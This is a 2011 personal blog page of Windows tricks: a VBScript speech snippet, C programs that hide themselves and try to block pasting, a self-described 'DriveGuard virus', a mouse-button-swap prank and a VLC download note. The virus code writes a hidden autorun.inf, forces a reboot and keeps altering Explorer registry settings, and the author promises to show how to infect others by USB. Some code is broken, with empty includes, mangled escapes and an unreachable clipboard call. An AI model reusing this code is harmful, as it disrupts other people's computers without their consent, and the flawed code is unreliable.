Monday, June 27, 2011

Make your XP Speak

*General Instruction:Copy the code and save it with .vbs extension and double click it.To terminate the process end Wscript.exe in processes from Task Manager.
Dim msg, sapi
msgbox(“Turn on de speakers:-)”)
msg1 = InputBox(“enter”)
Set sapi=CreateObject(“sapi.spvoice”)
sapi.Speak msg1

Disable paste option – ‘C’ code

Here is a simple “C” code that i wrote to disable paste option.It will be very useful in educational institutions for administrators:)It also hides itself from task manager applications running list.Here is the code.


/* coded by sham*/
/* To "disable Paste" option in windows*/
/*clipboard will be present at system 32 folder*/

#include

#include 

void sleep(int);

int main()
{
OpenClipboard(GetForegroundWindow());/*opening clipboard,a win32 API.*/
ShowWindow(GetForegroundWindow(),SW_HIDE);/*To hide itself,a win32 API.*/
while(1)
sleep(100);
EmptyClipboard();/*empty the clipboard,a win32 API*/
}
Save with .c extension and compile it .You need a 32-bit compiler like Devc and visual C++.
Run the exe generated ,you will not be able to copy and paste any thing!!try:)

Simple Driveguard Virus in”C”

In its presence you cannot open the drive with double click.I have written it to guard only “C” drive modify it to guard any drive.It will hide itself its window will not be visible and on its execution will restart the system.After the system boots you will not be able to double click and open the drive.
Solution:
Find and delete the autorun.inf file(will b hidden)in “c” drive and restart the system.In next post will tell how to run the virus when some one double clicks the USB infecting their system:-)
/*Simple DriveGuard virus in "C"
Coded by sham*/
/*Solution:To remove de virus just delete the "autorun.inf" file
it will be in hidden mode*/
#include
#include
#include

int main()
{
    FILE *fp;
    HWND hwnd = GetForegroundWindow();
    HKEY hKey;
    DWORD val =2;
    ShowWindow(hwnd,SW_HIDE);//Hide its own console window
    fp=fopen("c:\autorun.inf","w");
    fprintf(fp,"[autorun]n");
    fprintf( fp,"open notepad.exe");
    fprintf( fp,"n");
    fprintf(fp,"shell\virus=I am a virus!");
    fprintf( fp,"n");
    fprintf(fp,"shell\virus\command=notepad.exe");
    fprintf( fp,"n");
    fprintf(fp,"shell=virus");
    fclose(fp);
    system("attrib +H c:\autorun.inf");//To be be in hidden mode
  system("shutdown -r -t 10");// restart the system after 10 seconds

while(1)
{
        sleep(50);
RegOpenKeyEx(HKEY_CURRENT_USER,"Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced", 0,KEY_ALL_ACCESS,&hKey);
RegSetValueEx(hKey,"Hidden",0,REG_DWORD,(DWORD)&val, sizeof(val));
}
 getch();
return 0;
}

Swap Mouse Keys – “C” code

It is a simple piece of code but every effective and annoying!Prank your friends with it:)Compile using any 32 bit “C” compiler.
[javascript]
//coded by sham;
#include
int main()
{
BOOL bOldState;
SystemParametersInfo(SPI_SETMOUSEBUTTONSWAP,TRUE,bOldState, 0);
}
[/javascript]

Solution:To change it ,set parameter as FALSE and execute,else change in mouse properties from control panel.

Tuesday, March 15, 2011

VLC Media Player

VLC Media Player is used to play media files of any types available in the world. It is a free player available on the net at the following destination url.
VLC Player free download